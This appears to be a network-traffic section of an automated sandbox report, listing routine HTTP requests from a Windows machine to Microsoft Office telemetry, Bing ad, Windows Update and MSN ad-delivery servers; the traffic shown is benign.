Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239355218552_1GHGVUO61DTQZRTHX&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239355218553_1LXSNCROYYRJXQ4E3&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239337201808_1NREAF5SJS6TG8GUU&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=24&h=24&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: www.bing.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239402613046_1VJ8MQN6OLRO0EVHP&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239402613045_1Y7ZSJRVESY5KBVS8&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239357290388_16CMXFO1MXGSZHTL5&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239357290389_1WHXB2JL6W3CH3HF1&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239360492575_1SSJ82L6CB3K86OHJ&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239360492574_10ZLIEYNNW01DP6QS&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=gxgonE+wNecUoDx&MD=dbwZGS6d HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /neg/0?action=impression&rlink=https%3A%2F%2Fwww.bing.com%2Faclick%3Fld%3De8Fs7iYLBvUMxlibwIUd7CpTVUCUzcZcjsyHjAv7cDI7R-q9dsLma21TSuz6Ho1K23jlIaZnkOQ6g2LwTMrKGmw_dfyBs-btR_43TAHAjrFVegMwD2UhkZTsJsA4egJJnZPX1IsbZ7IOeg9an4uNua41JKlNrN-hxVZTA9qpfl_clY3dIi%26u%3DbWljcm9zb2Z0LWVkZ2UlM2FodHRwcyUzYSUyZiUyZnd3dy5taWNyb3NvZnQuY29tJTJmZWRnZSUyZndpbmRvd3MtZWRnZSUzZmZvY3VzJTNkY29udmVuaW5jZSUyNnNvdXJjZSUzZGlwJTI2ZXMlM2QwJTI2Zm9ybSUzZE01MDBFNyUyNk9DSUQlM2RNNTAwRTc%26rlid%3De2517ae3b8b81c7260c21db03d1838d4&TIME=20241206T231607Z&CID=531538185&EID=531538185&tids=15000&adUnitId=11730597&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=6966555320912735&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: g.bing.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=88000045&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241206T231606Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=30aecb26818f446c8a8cc0f9536bb6d5&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=617338&metered=false&nettype=ethernet&npid=sc-88000045&oemName=weoost%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=weoost20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=617338&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAXb/8B0h6MD+lipnPiN+E7IPKg8ML5pISMgc9UmRU/UC+WbU5XTRXiUA7BVctq4H+T5ceIUiVnoHtv3tGpKujxqKOGtnF+MDOZM7Y3AgsPfsotHMfOMclvEtGWd8OKRaDpLEvZd3OSRJNIxT0DU4FZkDG0yUKBr84hE9P7SNaao3ExoUGYQeP415kYth/Ksv+OmsBPEDJkPSHefHNjIbnWjY+FrbJKEOTtggvLM9u6p7rwE20WeROB9o+FEvGMNc7xRiMiVeIjkB5oWWJ0wE/qRAdS/l0qmr+OEba2O0t1uv2arRGRgxl/NEG8mDYdGtkEX40g65mVfO4wPJTUtYupYQZgAAEKIn5F2M01T7WVlJewyT/ZKwAb8TD3RFg03+kVzjPhsGYTSNKDM3gwdlA5hbM7qxbDNnE4OJmKzkg97gRX+tKGw4TkWaFFIZ2NRX+/rGO8NXDxhNjYL4P+SiKDmiFP8JrbXKSc8WqpM4lY8QmUV+VI+yfcCvf3/j7FMqRDDxB6MZ4lX6KkiH5JpPK6lZN6gNRuHHvdtU+xBSBrTjamdUrXgn0WGA71GCn/QRce3xsSjUn3zoCncQDwm6Q9YFDf6DOr1pkRBsvfqKD/dS2MCMusIKAvfvHRFl2eYH7i/HVaw4ygVZ1Lhdudq2NZ7TUBXvSsBmlgMpg9LVs79YuXjvsdktvcGtBb27cS4tvtxv7adPx+7/UNcpjeNyTEGpcfmqcXkk8f6BQSiota7gLCZ+xrTieGSvAcS9hl5K0UwrNUsDQDLkcVwnX1I3MRgAZLQebB3Lkg/u7fRTOr5+R6XQ08Ji0NZ2l5Lx7/RNOk44zPq8sdm9P9Ko95yRTcZasQjgt8gXFdEAkbtcd/uJzm2bGX4LycSEpAXcVGo4p5oMAb4OBGk6v7dSCZugHC767+LbVEcAbjKyDn2hLpI5PkVZS7GZbNgB&p=Cache-Control: no-cacheMS-CV: ubDDRZTVhUGq72E0.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /aes/c.gif?RG=f286af0f6c0249d99c9b5fae5135ef49&med=10&pubId=251978541&tids=15000&type=mv&reqver=1.0&TIME=20241206T231607Z&adUnitId=11730597&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=6966555320912735&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: www.bing.comConnection: Keep-AliveCookie: MUID=087889CDADCE61E13F8C9C80ACAC6065
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
